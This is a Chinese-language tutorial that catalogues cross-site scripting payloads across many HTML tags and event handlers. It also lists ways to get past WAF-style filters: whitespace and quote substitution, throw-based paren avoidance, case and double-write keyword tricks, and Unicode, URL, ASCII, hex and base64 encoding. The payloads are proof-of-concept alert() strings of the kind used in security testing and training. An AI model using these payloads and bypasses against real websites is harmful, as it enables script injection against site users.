xss攻击方式与绕过
文章目录
本节参考了 XSS(跨站攻击),并且给予一些优化,相比于参考文章来说,这篇文章比较简单,在httponly和waf绕过方面不会涉及。下面就是对于参考文章的总结,也建议去阅读参考文章。
XSS攻击方式
1. script标签
<script>alert("xss");</script>
注释:这是最基本的XSS攻击形式。通过插入<script>
标签,攻击者可以在受害者的浏览器上执行任意JavaScript代码。在这个例子中,它会显示一个警告框,显示消息"xss"。
2. img标签
<img src=1 onerror=alert("xss")>
注释:利用<img>
标签的onerror
事件。如果图片加载失败(例如,src
设置为不存在的资源),则执行onerror
中的JavaScript代码。
3. input标签
<input onblur=alert("xss") autofocus><input autofocus>
<input onfocus=alert("xss")>
<input onclick=alert("xss")>
<input onmouseover=alert("xss")>
注释:通过在<input>
标签的事件处理器中嵌入代码。例如,onblur
事件在元素失去焦点时触发,onfocus
在元素获得焦点时触发,onclick
在点击时触发,onmouseover
在鼠标悬停时触发。
4. details标签
<details ontoggle=alert("xss");>
注释:利用HTML5的<details>
标签,当用户切换显示/隐藏详情时,触发ontoggle
事件。
5. svg标签
<svg onload=alert("xss")>
注释:使用SVG图像格式的<svg>
标签。onload
事件在SVG加载完成时触发,可以用于执行恶意代码。
6. select标签
<select onfocus=alert("xss")></select>
<select onfocus=alert("xss") autofocus>
注释:在<select>
标签中使用onfocus
事件。当下拉列表获得焦点时,触发JavaScript代码。
7. iframe标签
<iframe onload=alert("xss")></iframe>
注释:利用<iframe>
标签的onload
事件。当iframe加载完成后,执行指定的JavaScript代码。
8. video标签
<video><source onerror=alert("xss")>
注释:通过<video>
标签中的<source>
元素的onerror
事件。如果视频源文件加载失败,将执行错误处理代码。
9. audio标签
<audio src=1 onerror=alert("xss")>
注释:与<img>
标签类似,这里使用<audio>
标签的onerror
事件来执行代码。如果音频文件加载失败,将触发onerror
事件。
10. body标签
<body onload=alert("xss")>
注释:在HTML的<body>
标签的onload
事件中嵌入代码。当页面加载完成时,会执行此代码。
11. textarea标签
<textarea onfocus=alert("xss"); autofocus>
注释:使用<textarea>
元素的onfocus
事件。当文本区域获得焦点时,将执行指定的JavaScript代码。
常见绕过方式
1. 空格过滤
当空格被过滤了,可以用**/和注释符**代替空格,
<img/src="x"/onerror=alert(1);>
<img/**/src="x"/**/onerror=alert(1);>
2. 引号过滤
在html中可以不使用引号,在js中,可以用反引号代替单双引号
<img src=x onerror=alert(`xss`);>
3. 括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。(末尾有解释)
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
4. 关键词过滤
关键词过滤可能可以使用大小写绕过、双写绕过、字符串拼接绕过
<sCRiPt>alert(1);</sCrIpT>
<scrscriptipt>alert(1);</scrscriptipt>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)"> 反引号代替单双引号
5. 编码绕过
使用Unicode、url、Ascii、hex、base64绕过
// Unicode
javascript:alert(/xss/) (编码了r和i)
// url
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
// Ascii
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
// hex
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
// base64
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
6. url地址过滤
// 使用URL编码
// 十进制、八进制、十六进制IP
// 用//代替http://
// 使用中文句号代替英文点号
7. 伪协议
"><a href=javascript:alert(/xss/)> o_n和<scr_ipt>过滤